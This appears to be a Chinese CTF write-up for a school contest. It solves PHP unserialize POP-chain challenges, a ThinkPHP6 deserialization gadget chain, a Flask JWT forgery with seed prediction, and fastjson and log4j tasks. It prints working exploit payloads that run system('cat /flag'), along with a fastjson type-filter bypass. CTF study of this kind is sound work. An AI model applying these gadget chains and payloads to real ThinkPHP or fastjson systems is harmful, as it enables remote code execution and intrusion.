M03C4T CTF

好哥们学校的校赛,给我放了条缝,让我有机会能打打

php-unserialize1

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);

class M03{
public $hello;
public function __wakeup()
{
// TODO: Implement __wakeup() method.
clone $this->hello;
}

}

class C4T{
public $name;
public $class;
public $three;
public function __construct(){
$this->class="MyClass";
$this->name="yes";
}
public function __clone(){
$this->class::{$this->name}($this->three,$this->number);
}
}

class Strong{
public $nono;
public function __construct(){
$this->nono="nono";
}
public static function __callStatic($name, $arguments){
$arguments[0]->no=$arguments[1];
}

}

class est{
public function __set($name, $value) {
eval($value);
}
}
$M03C4T=$_POST['M03C4T'];
if(isset($M03C4T)){
unserialize($M03C4T);
}

很清楚的链子,wakeup-》clone-》callstatic-》set

$this->class::{$this->name}($this->three,$this->number);

这里卡了一下下

静态方法的调用,像java里面一样,这里之直接调用strong类里面的hello这个不存在的方法

里面是参数

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class M03{
public $hello;
}

class C4T{
public $name;
public $class;
public $three;
public $nubmber;

}

class Strong{
public $nono;


}

class est{

}
$a=new M03();
$a->hello= new C4T();
$a->hello->class="Strong";
$a->hello->name="hello";
$a->hello->three=new est();
$a->hello->number="system('cat /flag');";
$b=serialize($a);
echo $b;
?>
//O:3:"M03":1:{s:5:"hello";O:3:"C4T":5:{s:4:"name";s:5:"hello";s:5:"class";s:6:"Strong";s:5:"three";O:3:"est":0:{}s:7:"nubmber";N;s:6:"number";s:20:"system('cat /flag');";}}

php-unserialize2

嗨嗨嗨,又来了啊

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php 
class M03{
public $name;
public $func;
public $args;
public function __destruct()
{
return $this->name."Welcome to attend M03C4T";
}
public function __invoke(){
$black_list=['system','eval','shell_exec','passthru','exec','popen','/','flag'];
if(in_array($this->func,$black_list) || in_array($this->args,$black_list)){
die('NoNoNo');
}
call_user_func($this->func,$this->args);
}

}

class C4T{
public $number;
public $class;
public function __construct()
{
$this->number="hzu";

}

public function __toString(){
return $this->class->number;
}

}


class Welc0me{
public $M03C4T;
public $flag;
public $love;
public function __construct(){
$this->flag="weak";
$this->love="Welc0me";
}
public function __get($number){
if ($this->flag==='strong'){
$this->M03C4T->together($this->love);
}
}

}

class y0u{
public function __call($name,$argument){
($argument[0])();
}

public function get($End){
system($end);
}

}

链子也很清楚

使用array(new y0u(), “get”);调用其他类里面的方法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class M03{
public $name;
public $func;
public $args;}

class C4T{
public $number;
public $class;
}
class Welc0me{
public $M03C4T;
public $flag;
public $love;
}
class y0u{

}
$a=new M03();
$a->name=new C4T();
$a->name->class=NEW Welc0me();
$a->name->class->flag="strong";
$a->name->class->love=new M03();
$a->name->class->M03C4T=new y0u();
$a->name->class->love->func=array(new y0u(), "get");
$a->name->class->love->args="cat /flag";
echo urlencode(serialize($a));
?>

thinkphp6

访问www.zip获取源码

然后看到在app/controller路由下面存在一个反序列化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
public function God()
{
unserialize($_POST['M03C4T']);
}

}

这里找一个网上的payload直接打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;

// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['cat /flag']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}

namespace think\model {
use think\Model;
class Pivot extends Model {

}

// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}

seed

filename的地方读取源码

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import os
import random
import uuid
import jwt
from flask import Flask, request, render_template_string, render_template, make_response, redirect, url_for

app = Flask(__name__)
app.static_folder = 'static'
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = os.urandom(10)


def check():
access_token = request.cookies.get('access_token')
if not access_token:
return redirect(url_for("/"))
try:
decoded_token = jwt.decode(
access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})
isadmin = decoded_token['isadmin']

except:
return render_template('login.html')
if not isadmin:
# 如果用户不具有管理员权限,返回错误页面,HTTP状态码为403 Forbidden
return render_template('403.html')
return True


@app.route("/", methods=['POST', 'GET'])
def index():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
return render_template("403.html")
access_token = jwt.encode(
{'username': username, 'password': password, 'isadmin': False},
app.config['SECRET_KEY'], # 使用配置的密钥进行签名
algorithm="HS256" # 使用 HS256 算法进行签名
)
res = make_response(redirect(url_for('guess')))
res.set_cookie('access_token', access_token)
return res, 200
else:
return render_template('login.html')


@app.route("/read")
def viewFile():
if check():
filename = request.args.get('filename')
if "flag" in filename:
return "You can not get flag by this way"
try:
with open(filename, 'r') as f:
templates = '''{}
'''.format(f.read())
return render_template_string(templates)
except Exception as e:
templates = ''''''
return render_template_string(templates)


@app.route("/guess")
def guess():
access_token = request.cookies.get('access_token')
if not access_token:
return render_template("403.html")
password = random.randint(1111111, 9999999)
return render_template('index.html', password=password)


@app.route("/auth", methods=['POST'])
def auth():
global flag
access_token = request.cookies.get('access_token')
if not access_token:
return redirect(url_for("/"))
try:
decoded_token = jwt.decode(
access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})
isadmin = decoded_token['isadmin']
except:
return render_template('login.html')

if not isadmin:
# 如果用户不具有管理员权限,返回错误页面,HTTP状态码为403 Forbidden
return render_template('403.html')

password = request.form['password']
if int(password) == random.randint(1111111, 9999999):
flag = os.popen('cat /flag').read()
templates = '''{}
'''.format(flag)
return render_template_string(templates)


@app.errorhandler(404)
def error_date(error):
return render_template("404.html")


if __name__ == '__main__':
print(uuid.getnode())
app.run(port=80, host='0.0.0.0', debug=False)

先jwt伪造成admin,空密钥

然后需要猜数字,对了给flag

可以读取到网卡

1
2
3
4
5
6
7
8
9
import random
import os

random.seed(0x0242ac110007)
password = random.randint(1111111, 9999999)
print(os.urandom(10))
for i in range(10):
print(password)
password = random.randint(1111111, 9999999)

伪随机,直接出

fastjson的小猫

简单的fastjson反序列化

网上找一个payload,但是这里过滤了type

1
{zeo":{"\u0040\u0074\u0079\u0070\u0065":"java.net.Inet4Address","val":"ujez1f.dnslog.cn"}}

直接16进制或者unicode绕过就好了

log4j

猜测登录框处存在log4j漏洞,网上找一个payload打了